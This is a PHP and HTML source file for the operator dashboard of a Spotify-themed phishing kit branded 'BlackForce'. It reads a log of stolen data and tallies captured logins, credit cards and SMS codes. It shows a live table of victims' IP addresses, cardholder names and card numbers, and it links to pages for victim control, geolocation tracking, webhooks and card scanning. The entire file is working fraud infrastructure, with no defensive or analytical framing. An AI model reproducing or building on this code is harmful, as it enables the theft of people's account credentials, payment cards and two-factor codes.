<?php
/**
 * Spotify Panel - Professional Dashboard
 * Main control center with all features integrated
 */

require_once 'auth.php';

// Define paths
define('APP_ACCESS', true);
$logsPath = __DIR__ . '/../logs/';
$credentialsLog = $logsPath . 'credentials.log';
$visitsLog = $logsPath . 'visits.log';
$botsLog = $logsPath . 'bots.log';

// Get real-time statistics
function getRealtimeStats() {
    global $credentialsLog, $visitsLog, $botsLog;
    
    $stats = [
        'total_visits' => 0,
        'total_logins' => 0,
        'total_cards' => 0,
        'total_sms' => 0,
        'total_blocked' => 0,
        'active_victims' => 0,
        'conversion_rate' => 0,
        'recent_victims' => [],
        'hourly_stats' => []
    ];
    
    // Count visits
    if (file_exists($visitsLog)) {
        $stats['total_visits'] = count(file($visitsLog, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
    }
    
    // Parse credentials log
    if (file_exists($credentialsLog)) {
        $lines = file($credentialsLog, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        $currentHour = date('H');
        $hourlyCount = 0;
        
        foreach ($lines as $line) {
            // Count by type
            if (stripos($line, 'LOGIN CAPTURED') !== false) {
                $stats['total_logins']++;
            } elseif (stripos($line, 'CREDIT CARD') !== false || stripos($line, 'CARD') !== false) {
                $stats['total_cards']++;
                
                // Extract victim info for recent list
                if (preg_match('/IP:\s*([0-9.]+)/', $line, $ipMatch)) {
                    $ip = $ipMatch[1];
                    preg_match('/Card Holder:\s*([^\n]+)/', $line, $nameMatch);
                    preg_match('/Card Number:\s*([^\n]+)/', $line, $cardMatch);
                    preg_match('/Timestamp:\s*([^\n]+)/', $line, $timeMatch);
                    
                    $stats['recent_victims'][] = [
                        'ip' => $ip,
                        'name' => isset($nameMatch[1]) ? trim($nameMatch[1]) : 'N/A',
                        'card' => isset($cardMatch[1]) ? trim($cardMatch[1]) : 'N/A',
                        'time' => isset($timeMatch[1]) ? trim($timeMatch[1]) : date('Y-m-d H:i:s')
                    ];
                }
                
                // Count hourly
                if (preg_match('/Timestamp:\s*(\d{4}-\d{2}-\d{2}\s+(\d{2}):)/', $line, $timeMatch)) {
                    if ($timeMatch[2] == $currentHour) {
                        $hourlyCount++;
                    }
                }
            } elseif (stripos($line, 'SMS') !== false) {
                $stats['total_sms']++;
            }
        }
        
        $stats['hourly_stats'] = ['current_hour' => $hourlyCount];
    }
    
    // Count blocked bots
    if (file_exists($botsLog)) {
        $stats['total_blocked'] = count(file($botsLog, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
    }
    
    // Calculate conversion rate
    if ($stats['total_logins'] > 0) {
        $stats['conversion_rate'] = round(($stats['total_cards'] / $stats['total_logins']) * 100, 1);
    }
    
    // Get active victims (last 5 minutes)
    $stats['active_victims'] = count(array_filter($stats['recent_victims'], function($v) {
        return (time() - strtotime($v['time'])) < 300;
    }));
    
    // Keep only last 10 recent victims
    $stats['recent_victims'] = array_slice(array_reverse($stats['recent_victims']), 0, 10);
    
    return $stats;
}

$stats = getRealtimeStats();
$currentUser = isset($_SESSION['username']) ? $_SESSION['username'] : 'Admin';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow">
    <title>Spotify Panel Pro | BlackForce</title>
    <link rel="shortcut icon" href="assets/favicon.ico" type="image/x-icon">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, sans-serif;
            background: linear-gradient(135deg, #000000 0%, #0a0a0a 50%, #000000 100%);
            color: #fff;
            min-height: 100vh;
            overflow-x: hidden;
        }
        
        /* Animated Background */
        .bg-animation {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 0;
            opacity: 0.1;
            background: 
                radial-gradient(circle at 20% 50%, rgba(30, 215, 96, 0.1) 0%, transparent 50%),
                radial-gradient(circle at 80% 80%, rgba(30, 215, 96, 0.1) 0%, transparent 50%);
            animation: pulse 10s ease-in-out infinite;
        }
        
        @keyframes pulse {
            0%, 100% { opacity: 0.1; }
            50% { opacity: 0.2; }
        }
        
        .container {
            position: relative;
            z-index: 1;
            max-width: 1600px;
            margin: 0 auto;
            padding: 20px;
        }
        
        /* Header */
        .header {
            background: linear-gradient(135deg, #1ed760 0%, #1db954 100%);
            border-radius: 20px;
            padding: 30px 40px;
            margin-bottom: 30px;
            box-shadow: 0 10px 40px rgba(30, 215, 96, 0.3);
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 20px;
        }
        
        .header-left {
            display: flex;
            align-items: center;
            gap: 20px;
        }
        
        .logo {
            width: 50px;
            height: 50px;
            background: rgba(0, 0, 0, 0.2);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
        }
        
        .header-title h1 {
            font-size: 28px;
            color: #000;
            margin-bottom: 5px;
        }
        
        .header-title p {
            color: rgba(0, 0, 0, 0.7);
            font-size: 14px;
        }
        
        .header-right {
            display: flex;
            align-items: center;
            gap: 20px;
        }
        
        .user-info {
            text-align: right;
        }
        
        .user-info .name {
            font-weight: 600;
            color: #000;
            font-size: 16px;
        }
        
        .user-info .role {
            font-size: 12px;
            color: rgba(0, 0, 0, 0.6);
        }
        
        .logout-btn {
            background: rgba(0, 0, 0, 0.2);
            color: #000;
            padding: 10px 20px;
            border-radius: 10px;
            text-decoration: none;
            font-weight: 600;
            transition: all 0.3s;
        }
        
        .logout-btn:hover {
            background: rgba(0, 0, 0, 0.3);
            transform: translateY(-2px);
        }
        
        /* Navigation */
        .nav-tabs {
            display: flex;
            gap: 10px;
            margin-bottom: 30px;
            flex-wrap: wrap;
        }
        
        .nav-tab {
            background: rgba(255, 255, 255, 0.05);
            border: 2px solid rgba(30, 215, 96, 0.2);
            padding: 15px 25px;
            border-radius: 12px;
            text-decoration: none;
            color: #1ed760;
            font-weight: 600;
            transition: all 0.3s;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .nav-tab:hover {
            background: rgba(30, 215, 96, 0.1);
            border-color: #1ed760;
            transform: translateY(-2px);
        }
        
        .nav-tab.active {
            background: #1ed760;
            color: #000;
            border-color: #1ed760;
        }
        
        /* Stats Grid */
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        
        .stat-card {
            background: linear-gradient(135deg, rgba(255, 255, 255, 0.05) 0%, rgba(255, 255, 255, 0.02) 100%);
            border: 2px solid rgba(30, 215, 96, 0.2);
            border-radius: 15px;
            padding: 25px;
            transition: all 0.3s;
            position: relative;
            overflow: hidden;
        }
        
        .stat-card::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: linear-gradient(135deg, rgba(30, 215, 96, 0.1) 0%, transparent 100%);
            opacity: 0;
            transition: opacity 0.3s;
        }
        
        .stat-card:hover {
            transform: translateY(-5px);
            border-color: #1ed760;
            box-shadow: 0 10px 30px rgba(30, 215, 96, 0.2);
        }
        
        .stat-card:hover::before {
            opacity: 1;
        }
        
        .stat-icon {
            font-size: 36px;
            margin-bottom: 15px;
            display: block;
        }
        
        .stat-value {
            font-size: 42px;
            font-weight: 700;
            color: #1ed760;
            margin-bottom: 8px;
            position: relative;
            z-index: 1;
        }
        
        .stat-label {
            color: #999;
            font-size: 14px;
            text-transform: uppercase;
            letter-spacing: 1px;
            position: relative;
            z-index: 1;
        }
        
        .stat-trend {
            position: absolute;
            top: 20px;
            right: 20px;
            background: rgba(30, 215, 96, 0.2);
            color: #1ed760;
            padding: 5px 10px;
            border-radius: 20px;
            font-size: 12px;
            font-weight: 600;
        }
        
        /* Quick Actions */
        .quick-actions {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            margin-bottom: 30px;
        }
        
        .action-card {
            background: linear-gradient(135deg, rgba(30, 215, 96, 0.1) 0%, rgba(30, 215, 96, 0.05) 100%);
            border: 2px solid rgba(30, 215, 96, 0.3);
            border-radius: 12px;
            padding: 20px;
            text-decoration: none;
            color: #fff;
            transition: all 0.3s;
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .action-card:hover {
            transform: translateY(-3px);
            background: linear-gradient(135deg, rgba(30, 215, 96, 0.2) 0%, rgba(30, 215, 96, 0.1) 100%);
            border-color: #1ed760;
            box-shadow: 0 8px 25px rgba(30, 215, 96, 0.3);
        }
        
        .action-icon {
            font-size: 32px;
            width: 50px;
            height: 50px;
            background: rgba(30, 215, 96, 0.2);
            border-radius: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        
        .action-content h3 {
            font-size: 16px;
            margin-bottom: 5px;
            color: #1ed760;
        }
        
        .action-content p {
            font-size: 12px;
            color: #999;
        }
        
        /* Recent Activity */
        .activity-section {
            background: linear-gradient(135deg, rgba(255, 255, 255, 0.05) 0%, rgba(255, 255, 255, 0.02) 100%);
            border: 2px solid rgba(30, 215, 96, 0.2);
            border-radius: 15px;
            padding: 30px;
            margin-bottom: 30px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 25px;
        }
        
        .section-title {
            font-size: 24px;
            color: #1ed760;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .refresh-badge {
            background: rgba(30, 215, 96, 0.2);
            color: #1ed760;
            padding: 5px 15px;
            border-radius: 20px;
            font-size: 12px;
            font-weight: 600;
        }
        
        .victims-table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .victims-table thead {
            background: rgba(30, 215, 96, 0.1);
        }
        
        .victims-table th {
            padding: 15px;
            text-align: left;
            color: #1ed760;
            font-weight: 600;
            font-size: 13px;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        
        .victims-table td {
            padding: 15px;
            border-bottom: 1px solid rgba(30, 215, 96, 0.1);
            color: #ccc;
            font-size: 14px;
        }
        
        .victims-table tr:hover {
            background: rgba(30, 215, 96, 0.05);
        }
        
        .victim-ip {
            color: #1ed760;
            font-weight: 600;
            font-family: 'Courier New', monospace;
        }
        
        .victim-card {
            font-family: 'Courier New', monospace;
            color: #fff;
        }
        
        .victim-time {
            color: #999;
            font-size: 12px;
        }
        
        .scan-btn {
            background: linear-gradient(135deg, #1ed760 0%, #1db954 100%);
            color: #000;
            padding: 8px 15px;
            border-radius: 8px;
            text-decoration: none;
            font-weight: 600;
            font-size: 12px;
            transition: all 0.3s;
            display: inline-block;
        }
        
        .scan-btn:hover {
            transform: scale(1.05);
            box-shadow: 0 5px 15px rgba(30, 215, 96, 0.4);
        }
        
        .empty-state {
            text-align: center;
            padding: 60px 20px;
            color: #666;
        }
        
        .empty-state-icon {
            font-size: 64px;
            margin-bottom: 20px;
            opacity: 0.3;
        }
        
        /* Floating Action Button */
        .fab {
            position: fixed;
            bottom: 30px;
            right: 30px;
            width: 60px;
            height: 60px;
            background: linear-gradient(135deg, #1ed760 0%, #1db954 100%);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            color: #000;
            cursor: pointer;
            box-shadow: 0 5px 25px rgba(30, 215, 96, 0.5);
            transition: all 0.3s;
            z-index: 1000;
        }
        
        .fab:hover {
            transform: scale(1.1) rotate(180deg);
        }
        
        /* Live Indicator */
        .live-indicator {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            background: rgba(255, 0, 0, 0.2);
            border: 1px solid #ff0000;
            padding: 5px 12px;
            border-radius: 20px;
            font-size: 12px;
            font-weight: 600;
        }
        
        .live-dot {
            width: 8px;
            height: 8px;
            background: #ff0000;
            border-radius: 50%;
            animation: blink 1.5s infinite;
        }
        
        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.3; }
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            .header {
                flex-direction: column;
                text-align: center;
            }
            
            .header-left, .header-right {
                width: 100%;
                justify-content: center;
            }
            
            .stats-grid {
                grid-template-columns: 1fr;
            }
            
            .quick-actions {
                grid-template-columns: 1fr;
            }
            
            .victims-table {
                font-size: 12px;
            }
            
            .victims-table th,
            .victims-table td {
                padding: 10px 5px;
            }
        }
    </style>
</head>
<body>
    <div class="bg-animation"></div>
    
    <div class="container">
        <!-- Header -->
        <div class="header">
            <div class="header-left">
                <div class="logo">🎵</div>
                <div class="header-title">
                    <h1>Spotify Panel Pro</h1>
                    <p>Advanced Security & Control System</p>
                </div>
            </div>
            <div class="header-right">
                <div class="live-indicator">
                    <span class="live-dot"></span>
                    <span>LIVE</span>
                </div>
                <div class="user-info">
                    <div class="name">👤 <?php echo htmlspecialchars($currentUser); ?></div>
                    <div class="role">Administrator</div>
                </div>
                <a href="logout.php" class="logout-btn">🚪 Logout</a>
            </div>
        </div>
        
        <!-- Navigation -->
        <div class="nav-tabs">
            <a href="index.php" class="nav-tab active">
                <span>📊</span>
                <span>Dashboard</span>
            </a>
            <a href="victims.php" class="nav-tab">
                <span>🎯</span>
                <span>Victims</span>
            </a>
            <a href="panel.php" class="nav-tab">
                <span>🎮</span>
                <span>Control</span>
            </a>
            <a href="settings.php" class="nav-tab">
                <span>⚙️</span>
                <span>Settings</span>
            </a>
            <a href="webhook.php" class="nav-tab">
                <span>🔗</span>
                <span>Webhook</span>
            </a>
        </div>
        
        <!-- Stats Grid -->
        <div class="stats-grid">
            <div class="stat-card">
                <span class="stat-icon">👥</span>
                <div class="stat-value"><?php echo number_format($stats['total_visits']); ?></div>
                <div class="stat-label">Total Visits</div>
                <span class="stat-trend">+<?php echo $stats['hourly_stats']['current_hour']; ?> this hour</span>
            </div>
            
            <div class="stat-card">
                <span class="stat-icon">🔐</span>
                <div class="stat-value"><?php echo number_format($stats['total_logins']); ?></div>
                <div class="stat-label">Login Captures</div>
            </div>
            
            <div class="stat-card">
                <span class="stat-icon">💳</span>
                <div class="stat-value"><?php echo number_format($stats['total_cards']); ?></div>
                <div class="stat-label">Card Captures</div>
            </div>
            
            <div class="stat-card">
                <span class="stat-icon">📱</span>
                <div class="stat-value"><?php echo number_format($stats['total_sms']); ?></div>
                <div class="stat-label">SMS Codes</div>
            </div>
            
            <div class="stat-card">
                <span class="stat-icon">🛡️</span>
                <div class="stat-value"><?php echo number_format($stats['total_blocked']); ?></div>
                <div class="stat-label">Bots Blocked</div>
            </div>
            
            <div class="stat-card">
                <span class="stat-icon">🔴</span>
                <div class="stat-value"><?php echo number_format($stats['active_victims']); ?></div>
                <div class="stat-label">Active Now</div>
            </div>
            
            <div class="stat-card">
                <span class="stat-icon">📈</span>
                <div class="stat-value"><?php echo $stats['conversion_rate']; ?>%</div>
                <div class="stat-label">Conversion Rate</div>
            </div>
            
            <div class="stat-card">
                <span class="stat-icon">⚡</span>
                <div class="stat-value"><?php echo date('H:i'); ?></div>
                <div class="stat-label">Server Time</div>
            </div>
        </div>
        
        <!-- Quick Actions -->
        <div class="quick-actions">
            <a href="victims.php" class="action-card">
                <div class="action-icon">🎯</div>
                <div class="action-content">
                    <h3>Manage Victims</h3>
                    <p>View & control all victims</p>
                </div>
            </a>
            
            <a href="panel.php" class="action-card">
                <div class="action-icon">🎮</div>
                <div class="action-content">
                    <h3>Control Panel</h3>
                    <p>Real-time victim control</p>
                </div>
            </a>
            
            <a href="../logs/credentials.log" target="_blank" class="action-card">
                <div class="action-icon">📝</div>
                <div class="action-content">
                    <h3>View Logs</h3>
                    <p>Access raw log files</p>
                </div>
            </a>
            
            <a href="settings.php" class="action-card">
                <div class="action-icon">⚙️</div>
                <div class="action-content">
                    <h3>Settings</h3>
                    <p>Configure panel options</p>
                </div>
            </a>
            
            <a href="geolocation.php" class="action-card">
                <div class="action-icon">🌍</div>
                <div class="action-content">
                    <h3>Geolocation</h3>
                    <p>Track victim locations</p>
                </div>
            </a>
            
            <a href="stats/index.php" class="action-card">
                <div class="action-icon">📊</div>
                <div class="action-content">
                    <h3>Statistics</h3>
                    <p>Detailed analytics</p>
                </div>
            </a>
        </div>
        
        <!-- Recent Activity -->
        <div class="activity-section">
            <div class="section-header">
                <h2 class="section-title">
                    <span>💳</span>
                    <span>Recent Card Captures</span>
                </h2>
                <span class="refresh-badge">Auto-refresh: 10s</span>
            </div>
            
            <?php if (empty($stats['recent_victims'])): ?>
                <div class="empty-state">
                    <div class="empty-state-icon">💳</div>
                    <h3>No card captures yet</h3>
                    <p>Waiting for victims to submit their payment information...</p>
                </div>
            <?php else: ?>
                <table class="victims-table">
                    <thead>
                        <tr>
                            <th>🕐 Time</th>
                            <th>📍 IP Address</th>
                            <th>👤 Cardholder</th>
                            <th>💳 Card Number</th>
                            <th>🔍 Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach ($stats['recent_victims'] as $victim): ?>
                            <tr>
                                <td class="victim-time"><?php echo date('H:i:s', strtotime($victim['time'])); ?></td>
                                <td class="victim-ip"><?php echo htmlspecialchars($victim['ip']); ?></td>
                                <td><?php echo htmlspecialchars($victim['name']); ?></td>
                                <td class="victim-card"><?php echo htmlspecialchars($victim['card']); ?></td>
                                <td>
                                    <a href="scan/index.php?ccn=<?php echo urlencode($victim['card']); ?>&cch=<?php echo urlencode($victim['name']); ?>&exp=12/25&cvv=123" 
                                       target="_blank" class="scan-btn">
                                        🔍 View Card
                                    </a>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            <?php endif; ?>
        </div>
        
        <!-- System Info -->
        <div class="activity-section">
            <div class="section-header">
                <h2 class="section-title">
                    <span>ℹ️</span>
                    <span>System Information</span>
                </h2>
            </div>
            
            <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px;">
                <div style="background: rgba(30, 215, 96, 0.05); padding: 20px; border-radius: 10px; border: 1px solid rgba(30, 215, 96, 0.2);">
                    <div style="color: #1ed760; font-weight: 600; margin-bottom: 10px;">🖥️ Server</div>
                    <div style="color: #999; font-size: 14px;">
                        <p>PHP: <?php echo phpversion(); ?></p>
                        <p>Time: <?php echo date('Y-m-d H:i:s'); ?></p>
                    </div>
                </div>
                
                <div style="background: rgba(30, 215, 96, 0.05); padding: 20px; border-radius: 10px; border: 1px solid rgba(30, 215, 96, 0.2);">
                    <div style="color: #1ed760; font-weight: 600; margin-bottom: 10px;">🌐 Network</div>
                    <div style="color: #999; font-size: 14px;">
                        <p>Server IP: <?php echo isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'N/A'; ?></p>
                        <p>Your IP: <?php echo $_SERVER['REMOTE_ADDR']; ?></p>
                    </div>
                </div>
                
                <div style="background: rgba(30, 215, 96, 0.05); padding: 20px; border-radius: 10px; border: 1px solid rgba(30, 215, 96, 0.2);">
                    <div style="color: #1ed760; font-weight: 600; margin-bottom: 10px;">👤 Session</div>
                    <div style="color: #999; font-size: 14px;">
                        <p>User: <?php echo htmlspecialchars($currentUser); ?></p>
                        <p>Login: <?php echo date('Y-m-d H:i:s', $_SESSION['login_time']); ?></p>
                    </div>
                </div>
                
                <div style="background: rgba(30, 215, 96, 0.05); padding: 20px; border-radius: 10px; border: 1px solid rgba(30, 215, 96, 0.2);">
                    <div style="color: #1ed760; font-weight: 600; margin-bottom: 10px;">✨ Features</div>
                    <div style="color: #999; font-size: 14px;">
                        <p>✓ Card Scan Integration</p>
                        <p>✓ Real-time Monitoring</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    <!-- Floating Action Button -->
    <div class="fab" onclick="location.reload()" title="Refresh Dashboard">
        🔄
    </div>
    
    <script>
        // Auto-refresh every 10 seconds
        setTimeout(function() {
            location.reload();
        }, 10000);
        
        // Update time every second
        setInterval(function() {
            const timeElements = document.querySelectorAll('.stat-value');
            const now = new Date();
            const hours = String(now.getHours()).padStart(2, '0');
            const minutes = String(now.getMinutes()).padStart(2, '0');
            // Update time display if exists
        }, 1000);
    </script>
</body>
</html>
